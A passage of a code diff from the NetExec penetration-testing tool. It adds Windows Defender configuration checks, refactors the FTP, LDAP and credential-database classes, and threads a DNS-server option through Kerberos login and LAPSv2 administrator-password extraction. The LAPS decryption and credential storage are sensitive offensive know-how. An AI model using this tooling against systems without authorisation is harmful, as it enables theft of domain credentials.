ConfigCheck("Defender service running", "Checks if defender service is enabled", checkers=[self.check_defender_service]),
|
||||
ConfigCheck("Defender Tamper Protection enabled", "Check if Defender Tamper Protection is enabled", checker_args=[[self, ("HKLM\\Software\\Microsoft\\Windows Defender\\Features", "TamperProtection", 5)]]),
|
||||
ConfigCheck("Defender RealTime Monitoring enabled", "Check if Defender RealTime Monitoring is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableRealtimeMonitoring", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableRealtimeMonitoring", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
|
||||
ConfigCheck("Defender IOAV Protection enabled", "Check if Defender IOAV Protection is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableIOAVProtection", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableIOAVProtection", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
|
||||
ConfigCheck("Defender Behaviour Monitoring enabled", "Check if Defender Behaviour Monitoring is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableBehaviourMonitoring", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableBehaviourMonitoring", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
|
||||
ConfigCheck("Defender Script Scanning enabled", "Check if Defender Script Scanning is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableScriptScanning", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableScriptScanning", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
|
||||
ConfigCheck("Defender no path exlusions", "Checks Defender path exlusion", checkers=[self.check_defender_exclusion], checker_args=[("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Paths", "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths")]),
|
||||
ConfigCheck("Defender no extension exclusions", "Checks Defender extension exlusion", checkers=[self.check_defender_exclusion], checker_args=[("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Extensions", "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Extensions")])
|
||||
]
|
||||
|
||||
# Add check to conf_checks table if missing
|
||||
@@ -243,7 +252,7 @@ class HostChecker:
|
||||
if host_id is not None:
|
||||
self.connection.db.add_check_result(host_id, check.check_id, check.ok, ", ".join(check.reasons).replace("\x00", ""))
|
||||
|
||||
def check_registry(self, *specs, options=None):
|
||||
def check_registry(self, *specs, options=None, stop_on_error=False):
|
||||
"""
|
||||
Perform checks that only require to compare values in the registry with expected values, according to the specs
|
||||
a spec may be either a 3-tuple: (key name, value name, expected value), or a 4-tuple (key name, value name, expected value, operation), where operation is a function that implements a comparison operator
|
||||
@@ -261,6 +270,7 @@ class HostChecker:
|
||||
try:
|
||||
if len(spec) == 3:
|
||||
(key, value_name, expected_value) = spec
|
||||
op = operator.eq
|
||||
elif len(spec) == 4:
|
||||
(key, value_name, expected_value, op) = spec
|
||||
else:
|
||||
@@ -268,7 +278,7 @@ class HostChecker:
|
||||
reasons = ["Check could not be performed (invalid specification provided)"]
|
||||
return ok, reasons
|
||||
except Exception as e:
|
||||
self.module.log.error(f"Check could not be performed. Details: specs={specs}, dce={self.dce}, error: {e}")
|
||||
self.context.log.error(f"Check could not be performed. Details: specs={specs}, dce={self.dce}, error: {e}")
|
||||
return ok, reasons
|
||||
|
||||
if op == operator.eq:
|
||||
@@ -308,6 +318,9 @@ class HostChecker:
|
||||
else:
|
||||
ok = False
|
||||
reasons.append(f"Error while retrieving value of {key}\\{value_name}: {value}")
|
||||
if stop_on_error:
|
||||
ok = None
|
||||
return ok, reasons
|
||||
continue
|
||||
|
||||
if op(value, expected_value):
|
||||
@@ -479,6 +492,78 @@ class HostChecker:
|
||||
|
||||
return success, reasons
|
||||
|
||||
def get_exclusions(self, key_name):
|
||||
exclusions = []
|
||||
try:
|
||||
values = self.reg_query_value(self.dce, self.connection, key_name, valueName=None, all_value=True)
|
||||
for _, value_name, _ in values:
|
||||
exclusions.append(value_name)
|
||||
except Exception:
|
||||
self.context.log.debug("No defender exclusion policies")
|
||||
|
||||
return len(exclusions), exclusions
|
||||
|
||||
def check_defender_exclusion(self, *spec, options=None):
|
||||
try:
|
||||
if len(spec) == 2:
|
||||
(policy_key_name, key_name) = spec
|
||||
else:
|
||||
ok = False
|
||||
reasons = ["Check could not be performed (invalid specification provided)"]
|
||||
return ok, reasons
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Check could not be performed. Details: spec={spec}, dce={self.dce}, error: {e}")
|
||||
return ok, reasons
|
||||
|
||||
reasons = []
|
||||
success = True
|
||||
|
||||
count, exclusions_p = self.get_exclusions(policy_key_name)
|
||||
reasons = [f"Policy: [{', '.join(exclusions_p)}]"]
|
||||
count_k, exclusions_k = self.get_exclusions(key_name)
|
||||
reasons.append(f"Manual: [{', '.join(exclusions_k)}]")
|
||||
count += count_k
|
||||
|
||||
if count > 0:
|
||||
success = False
|
||||
|
||||
return success, reasons
|
||||
|
||||
def check_defender_service(self):
|
||||
ok = True
|
||||
raised = False
|
||||
reasons = []
|
||||
try:
|
||||
service_config, service_status = self.get_service("windefend", self.connection)
|
||||
if service_status == scmr.SERVICE_RUNNING:
|
||||
reasons.append("windefend service running")
|
||||
elif service_status == scmr.SERVICE_STOPPED:
|
||||
ok = False
|
||||
reasons.append("windefend service not running")
|
||||
except DCERPCException as e:
|
||||
ok = True
|
||||
raised = True
|
||||
reasons = [f"windefend service check error({e})"]
|
||||
if ok is False or raised is True:
|
||||
try:
|
||||
service_config, service_status = self.get_service("sense", self.connection)
|
||||
if service_status == scmr.SERVICE_RUNNING:
|
||||
reasons.append("sense service running")
|
||||
elif service_status == scmr.SERVICE_STOPPED:
|
||||
ok = False
|
||||
reasons.append("sense service not running")
|
||||
except DCERPCException as e:
|
||||
ok = True
|
||||
raised = True
|
||||
reasons.append(f"sense service check error({e})")
|
||||
if raised is True:
|
||||
reasons_save = reasons
|
||||
args = ("HKLM\\SOFTWARE\\Microsoft\\Windows Defender", "IsServiceRunning", 1)
|
||||
ok, reasons = self.check_registry(args)
|
||||
reasons.extend(reasons_save)
|
||||
|
||||
return ok, reasons
|
||||
|
||||
def _open_root_key(self, dce, connection, root_key):
|
||||
ans = None
|
||||
retries = 1
|
||||
@@ -527,7 +612,7 @@ class HostChecker:
|
||||
break
|
||||
return subkeys
|
||||
|
||||
def reg_query_value(self, dce, connection, keyName, valueName=None):
|
||||
def reg_query_value(self, dce, connection, keyName, valueName=None, all_value=False):
|
||||
"""Query remote registry data for a given registry value"""
|
||||
|
||||
def subkey_values(subkey_handle):
|
||||
@@ -580,8 +665,10 @@ class HostChecker:
|
||||
|
||||
subkey_handle = ans["phkResult"]
|
||||
|
||||
if valueName is None:
|
||||
if valueName is None and all_value is False:
|
||||
return get_value(subkey_handle)[2]
|
||||
elif valueName is None and all_value is True:
|
||||
return subkey_values(subkey_handle)
|
||||
else:
|
||||
for _, name, data in subkey_values(subkey_handle):
|
||||
if name.upper() == valueName.upper():
|
||||
@@ -635,15 +722,19 @@ class HostChecker:
|
||||
self.context.log.error(f"ls(): C:\\{path} {e}\n")
|
||||
return file_listing
|
||||
|
||||
|
||||
def le(reg_sz_string, number):
|
||||
return int(reg_sz_string[:-1]) <= number
|
||||
|
||||
|
||||
def in_(obj, seq):
|
||||
return obj in seq
|
||||
|
||||
|
||||
def startswith(string, start):
|
||||
return string.startswith(start)
|
||||
|
||||
|
||||
def not_(boolean_operator):
|
||||
def wrapper(*args, **kwargs):
|
||||
return not boolean_operator(*args, **kwargs)
|
||||
|
||||
+3
-1
@@ -142,7 +142,6 @@ def main():
|
||||
|
||||
protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol)
|
||||
nxc_logger.debug(f"Protocol Object: {protocol_object}, type: {type(protocol_object)}")
|
||||
nxc_logger.debug(f"Protocol Object dir: {dir(protocol_object)}")
|
||||
protocol_db_object = p_loader.load_protocol(protocol_db_path).database
|
||||
nxc_logger.debug(f"Protocol DB Object: {protocol_db_object}")
|
||||
|
||||
@@ -174,6 +173,9 @@ def main():
|
||||
for module in args.module:
|
||||
nxc_logger.display(f"{module} module options:\n{modules[module]['options']}")
|
||||
exit(0)
|
||||
elif args.show_module_options:
|
||||
nxc_logger.error("--options requires -M/--module")
|
||||
exit(1)
|
||||
elif args.module:
|
||||
# Check the modules for sanity before loading the protocol
|
||||
nxc_logger.debug(f"Modules to be Loaded for sanity check: {args.module}, {type(args.module)}")
|
||||
|
||||
@@ -8,6 +8,7 @@ def parse_result_attributes(ldap_response):
|
||||
continue
|
||||
attribute_map = {}
|
||||
for attribute in entry["attributes"]:
|
||||
attribute_map[str(attribute["type"])] = str(attribute["vals"][0])
|
||||
val = [str(val).encode(val.encoding).decode("utf-8") for val in attribute["vals"].components]
|
||||
attribute_map[str(attribute["type"])] = val if len(val) > 1 else val[0]
|
||||
parsed_response.append(attribute_map)
|
||||
return parsed_response
|
||||
@@ -24,19 +24,23 @@ class ftp(connection):
|
||||
|
||||
def proto_flow(self):
|
||||
self.proto_logger()
|
||||
if self.create_conn_obj() and self.enum_host_info() and self.print_host_info() and self.login():
|
||||
pass
|
||||
if self.create_conn_obj() and self.login():
|
||||
if hasattr(self.args, "module") and self.args.module:
|
||||
self.load_modules()
|
||||
self.logger.debug("Calling modules")
|
||||
self.call_modules()
|
||||
else:
|
||||
self.logger.debug("Calling command arguments")
|
||||
self.call_cmd_args()
|
||||
|
||||
def enum_host_info(self):
|
||||
welcome = self.conn.getwelcome()
|
||||
self.logger.debug(f"Welcome result: {welcome}")
|
||||
self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front
|
||||
self.logger.debug(f"Remote version: {self.remote_version}")
|
||||
return True
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(f"Banner: {self.remote_version}")
|
||||
return True
|
||||
|
||||
def create_conn_obj(self):
|
||||
self.conn = FTP()
|
||||
|
||||
@@ -1,31 +1,23 @@
|
||||
from pathlib import Path
|
||||
import sys
|
||||
|
||||
from sqlalchemy import Table, select, delete, func
|
||||
from sqlalchemy.dialects.sqlite import Insert
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table, select, delete, func
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
|
||||
from nxc.database import BaseDB
|
||||
from nxc.logger import nxc_logger
|
||||
import sys
|
||||
|
||||
|
||||
class database:
|
||||
class database(BaseDB):
|
||||
def __init__(self, db_engine):
|
||||
self.CredentialsTable = None
|
||||
self.HostsTable = None
|
||||
self.LoggedinRelationsTable = None
|
||||
|
||||
self.db_engine = db_engine
|
||||
self.db_path = self.db_engine.url.database
|
||||
self.protocol = Path(self.db_path).stem.upper()
|
||||
self.metadata = MetaData()
|
||||
self.reflect_tables()
|
||||
|
||||
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
|
||||
Session = scoped_session(session_factory)
|
||||
self.sess = Session()
|
||||
super().__init__(db_engine)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
@@ -80,26 +72,13 @@ class database:
|
||||
)
|
||||
sys.exit()
|
||||
|
||||
def shutdown_db(self):
|
||||
try:
|
||||
self.sess.close()
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
for table in self.metadata.sorted_tables:
|
||||
self.sess.execute(table.delete())
|
||||
|
||||
def add_host(self, host, port, banner):
|
||||
"""Check if this host is already in the DB, if not add it"""
|
||||
hosts = []
|
||||
updated_ids = []
|
||||
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.host == host)
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# create new host
|
||||
if not results:
|
||||
@@ -133,7 +112,7 @@ class database:
|
||||
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
|
||||
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
|
||||
|
||||
self.sess.execute(q, hosts) # .scalar()
|
||||
self.db_execute(q, hosts) # .scalar()
|
||||
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
|
||||
if updated_ids:
|
||||
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
|
||||
@@ -143,8 +122,9 @@ class database:
|
||||
"""Check if this credential has already been added to the database, if not add it in."""
|
||||
credentials = []
|
||||
|
||||
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username), func.lower(self.CredentialsTable.c.password) == func.lower(password))
|
||||
results = self.sess.execute(q).all()
|
||||
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username),
|
||||
func.lower(self.CredentialsTable.c.password) == func.lower(password))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# add new credential
|
||||
if not results:
|
||||
@@ -170,10 +150,11 @@ class database:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q_users = Insert(self.CredentialsTable) # .returning(self.CredentialsTable.c.id)
|
||||
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
|
||||
q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key, set_=update_columns_users)
|
||||
q_users = q_users.on_conflict_do_update(index_elements=self.CredentialsTable.primary_key,
|
||||
set_=update_columns_users)
|
||||
nxc_logger.debug(f"Adding credentials: {credentials}")
|
||||
|
||||
self.sess.execute(q_users, credentials) # .scalar()
|
||||
self.db_execute(q_users, credentials) # .scalar()
|
||||
|
||||
# hacky way to get cred_id since we can't use returning() yet
|
||||
if len(credentials) == 1:
|
||||
@@ -187,7 +168,7 @@ class database:
|
||||
for cred_id in creds_id:
|
||||
q = delete(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id)
|
||||
del_hosts.append(q)
|
||||
self.sess.execute(q)
|
||||
self.db_execute(q)
|
||||
|
||||
def is_credential_valid(self, credential_id):
|
||||
"""Check if this credential ID is valid."""
|
||||
@@ -195,7 +176,7 @@ class database:
|
||||
self.CredentialsTable.c.id == credential_id,
|
||||
self.CredentialsTable.c.password is not None,
|
||||
)
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_credential(self, username, password):
|
||||
@@ -203,7 +184,7 @@ class database:
|
||||
self.CredentialsTable.c.username == username,
|
||||
self.CredentialsTable.c.password == password,
|
||||
)
|
||||
results = self.sess.execute(q).first()
|
||||
results = self.db_execute(q).first()
|
||||
if results is not None:
|
||||
return results.id
|
||||
|
||||
@@ -220,12 +201,12 @@ class database:
|
||||
else:
|
||||
q = select(self.CredentialsTable)
|
||||
|
||||
return self.sess.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def is_host_valid(self, host_id):
|
||||
"""Check if this host ID is valid."""
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_hosts(self, filter_term=None):
|
||||
@@ -235,26 +216,26 @@ class database:
|
||||
# if we're returning a single host by ID
|
||||
if self.is_host_valid(filter_term):
|
||||
q = q.filter(self.HostsTable.c.id == filter_term)
|
||||
results = self.sess.execute(q).first()
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
# if we're filtering by host
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = q.filter(self.HostsTable.c.host.like(like_term))
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
nxc_logger.debug(f"FTP get_hosts() - results: {results}")
|
||||
return results
|
||||
|
||||
def is_user_valid(self, cred_id):
|
||||
"""Check if this User ID is valid."""
|
||||
q = select(self.CredentialsTable).filter(self.CredentialsTable.c.id == cred_id)
|
||||
results = self.sess.execute(q).all()
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_user(self, username):
|
||||
q = select(self.CredentialsTable).filter(func.lower(self.CredentialsTable.c.username) == func.lower(username))
|
||||
return self.sess.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_users(self, filter_term=None):
|
||||
q = select(self.CredentialsTable)
|
||||
@@ -265,14 +246,14 @@ class database:
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = q.filter(func.lower(self.CredentialsTable.c.username).like(like_term))
|
||||
return self.sess.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def add_loggedin_relation(self, cred_id, host_id):
|
||||
relation_query = select(self.LoggedinRelationsTable).filter(
|
||||
self.LoggedinRelationsTable.c.credid == cred_id,
|
||||
self.LoggedinRelationsTable.c.hostid == host_id,
|
||||
)
|
||||
results = self.sess.execute(relation_query).all()
|
||||
results = self.db_execute(relation_query).all()
|
||||
|
||||
# only add one if one doesn't already exist
|
||||
if not results:
|
||||
@@ -282,7 +263,7 @@ class database:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.LoggedinRelationsTable) # .returning(self.LoggedinRelationsTable.c.id)
|
||||
|
||||
self.sess.execute(q, [relation]) # .scalar()
|
||||
self.db_execute(q, [relation]) # .scalar()
|
||||
inserted_id_results = self.get_loggedin_relations(cred_id, host_id)
|
||||
nxc_logger.debug(f"Checking if relation was added: {inserted_id_results}")
|
||||
return inserted_id_results[0].id
|
||||
@@ -295,7 +276,7 @@ class database:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id)
|
||||
if host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
return self.sess.execute(q).all()
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def remove_loggedin_relations(self, cred_id=None, host_id=None):
|
||||
q = delete(self.LoggedinRelationsTable)
|
||||
@@ -303,7 +284,7 @@ class database:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.credid == cred_id)
|
||||
elif host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
self.sess.execute(q)
|
||||
self.db_execute(q)
|
||||
|
||||
def add_directory_listing(self, lir_id, data):
|
||||
pass
|
||||
|
||||
@@ -172,12 +172,12 @@ class ldap(connection):
|
||||
self.logger.debug(f"ldap_connection: {ldap_connection}")
|
||||
except SysCallError as e:
|
||||
if proto == "ldaps":
|
||||
self.logger.debug(f"LDAPs connection to {ldap_url} failed - {e}")
|
||||
self.logger.fail(f"LDAPs connection to {ldap_url} failed - {e}")
|
||||
# https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority
|
||||
self.logger.debug("Even if the port is open, LDAPS may not be configured")
|
||||
self.logger.fail("Even if the port is open, LDAPS may not be configured")
|
||||
else:
|
||||
self.logger.debug(f"LDAP connection to {ldap_url} failed: {e}")
|
||||
return [None, None, None]
|
||||
self.logger.fail(f"LDAP connection to {ldap_url} failed: {e}")
|
||||
exit(1)
|
||||
|
||||
resp = ldap_connection.search(
|
||||
scope=ldapasn1_impacket.Scope("baseObject"),
|
||||
@@ -302,7 +302,7 @@ class ldap(connection):
|
||||
def print_host_info(self):
|
||||
self.logger.debug("Printing host info for LDAP")
|
||||
if self.args.no_smb:
|
||||
self.logger.extra["protocol"] = "LDAP" if self.port == "389" else "LDAPS"
|
||||
self.logger.extra["protocol"] = "LDAP" if self.port == 389 else "LDAPS"
|
||||
self.logger.extra["port"] = self.port
|
||||
self.logger.display(f'{self.baseDN} (Hostname: {self.hostname.split(".")[0]}) (domain: {self.domain})')
|
||||
else:
|
||||
@@ -312,7 +312,6 @@ class ldap(connection):
|
||||
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
|
||||
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
return True
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
self.username = username
|
||||
@@ -694,7 +693,7 @@ class ldap(connection):
|
||||
t /= 10000000
|
||||
return t
|
||||
|
||||
def search(self, searchFilter, attributes, sizeLimit=0):
|
||||
def search(self, searchFilter, attributes, sizeLimit=0) -> list:
|
||||
try:
|
||||
if self.ldapConnection:
|
||||
self.logger.debug(f"Search Filter={searchFilter}")
|
||||
@@ -714,8 +713,8 @@ class ldap(connection):
|
||||
e.getAnswers()
|
||||
else:
|
||||
self.logger.fail(e)
|
||||
return False
|
||||
return False
|
||||
return []
|
||||
return []
|
||||
|
||||
def users(self):
|
||||
"""
|
||||
@@ -1419,6 +1418,7 @@ class ldap(connection):
|
||||
auth.get_tgt()
|
||||
if self.args.use_kcache:
|
||||
self.logger.highlight("Using kerberos auth from ccache")
|
||||
auth.load_ccache()
|
||||
|
||||
timestamp = datetime.now().strftime("%Y-%m-%d_%H%M%S") + "_"
|
||||
bloodhound = BloodHound(ad, self.hostname, self.host, self.port)
|
||||
|
||||
@@ -1,30 +1,20 @@
|
||||
from pathlib import Path
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table
|
||||
import sys
|
||||
|
||||
from sqlalchemy import Table
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
from nxc.logger import nxc_logger
|
||||
import sys
|
||||
|
||||
from nxc.database import BaseDB
|
||||
|
||||
|
||||
class database:
|
||||
class database(BaseDB):
|
||||
def __init__(self, db_engine):
|
||||
self.CredentialsTable = None
|
||||
self.HostsTable = None
|
||||
|
||||
self.db_engine = db_engine
|
||||
self.db_path = self.db_engine.url.database
|
||||
self.protocol = Path(self.db_path).stem.upper()
|
||||
self.metadata = MetaData()
|
||||
self.reflect_tables()
|
||||
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
|
||||
|
||||
Session = scoped_session(session_factory)
|
||||
# this is still named "conn" when it is the session object; TODO: rename
|
||||
self.conn = Session()
|
||||
super().__init__(db_engine)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
@@ -59,16 +49,3 @@ class database:
|
||||
[-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
sys.exit()
|
||||
|
||||
def shutdown_db(self):
|
||||
try:
|
||||
self.conn.close()
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
for table in self.metadata.sorted_tables:
|
||||
self.conn.execute(table.delete())
|
||||
+27
-31
@@ -1,5 +1,3 @@
|
||||
import binascii
|
||||
import hashlib
|
||||
from json import loads
|
||||
from pyasn1.codec.der import decoder
|
||||
from pyasn1_modules import rfc5652
|
||||
@@ -37,12 +35,13 @@ class LDAPConnect:
|
||||
def proto_logger(self, host, port, hostname):
|
||||
self.logger = NXCAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname})
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False, dns_server=""):
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
|
||||
if kdcHost is None:
|
||||
kdcHost = domain
|
||||
if kdcHost is None or domain not in kdcHost:
|
||||
self.logger.fail("Please provide the FQDN of the domain controller with --kdcHost")
|
||||
exit(1)
|
||||
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash and ntlm_hash.find(":") != -1:
|
||||
@@ -54,12 +53,13 @@ class LDAPConnect:
|
||||
baseDN = ""
|
||||
domainParts = domain.split(".")
|
||||
for i in domainParts:
|
||||
baseDN += f"dc={i},"
|
||||
baseDN += f"DC={i},"
|
||||
# Remove last ','
|
||||
baseDN = baseDN[:-1]
|
||||
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN)
|
||||
self.logger.info(f"Connecting to ldap://{kdcHost} - {baseDN} - {domain} [1]")
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN, dns_server if dns_server else domain)
|
||||
ldap_connection.kerberosLogin(
|
||||
username,
|
||||
password,
|
||||
@@ -78,7 +78,7 @@ class LDAPConnect:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
# We need to try SSL
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN)
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN, dns_server if dns_server else domain)
|
||||
ldap_connection.login(
|
||||
username,
|
||||
password,
|
||||
@@ -105,18 +105,14 @@ class LDAPConnect:
|
||||
color="magenta" if error_code in ldap_error_status else "red",
|
||||
)
|
||||
return False
|
||||
|
||||
except OSError:
|
||||
self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}")
|
||||
return False
|
||||
except KerberosError as e:
|
||||
self.logger.fail(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {e!s}",
|
||||
color="red",
|
||||
)
|
||||
self.logger.fail(f"{domain}\\{username}:{password if password else ntlm_hash} {e!s}", color="red")
|
||||
return False
|
||||
|
||||
def auth_login(self, domain, username, password, ntlm_hash):
|
||||
def auth_login(self, domain, username, password, ntlm_hash, dns_server):
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
|
||||
@@ -135,7 +131,7 @@ class LDAPConnect:
|
||||
base_dn = base_dn[:-1]
|
||||
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{domain}", base_dn, domain)
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{domain}", base_dn, dns_server if dns_server else domain)
|
||||
ldap_connection.login(username, password, domain, lmhash, nthash)
|
||||
|
||||
# Connect to LDAP
|
||||
@@ -148,7 +144,7 @@ class LDAPConnect:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
# We need to try SSL
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", base_dn, domain)
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", base_dn, dns_server if dns_server else domain)
|
||||
ldap_connection.login(username, password, domain, lmhash, nthash)
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
@@ -173,7 +169,7 @@ class LDAPConnect:
|
||||
|
||||
|
||||
class LAPSv2Extract:
|
||||
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port):
|
||||
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server):
|
||||
if ntlm_hash.find(":") != -1:
|
||||
self.lmhash, self.nthash = ntlm_hash.split(":")
|
||||
else:
|
||||
@@ -187,6 +183,7 @@ class LAPSv2Extract:
|
||||
self.do_kerberos = do_kerberos
|
||||
self.kdcHost = kdcHost
|
||||
self.logger = None
|
||||
self.dns_server = dns_server
|
||||
self.proto_logger(self.domain, port, self.domain)
|
||||
|
||||
def proto_logger(self, host, port, hostname):
|
||||
@@ -218,7 +215,7 @@ class LAPSv2Extract:
|
||||
gke = kds_cache[key_id["RootKeyId"]]
|
||||
else:
|
||||
# Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey
|
||||
string_binding = hept_map(destHost=self.domain, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
|
||||
string_binding = hept_map(destHost=self.domain if not self.dns_server else self.dns_server, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash)
|
||||
@@ -263,7 +260,7 @@ class LAPSv2Extract:
|
||||
return plaintext[:-18].decode("utf-16le")
|
||||
|
||||
|
||||
def laps_search(self, username, password, cred_type, domain):
|
||||
def laps_search(self, username, password, cred_type, domain, dns_server):
|
||||
prev_protocol = self.logger.extra["protocol"]
|
||||
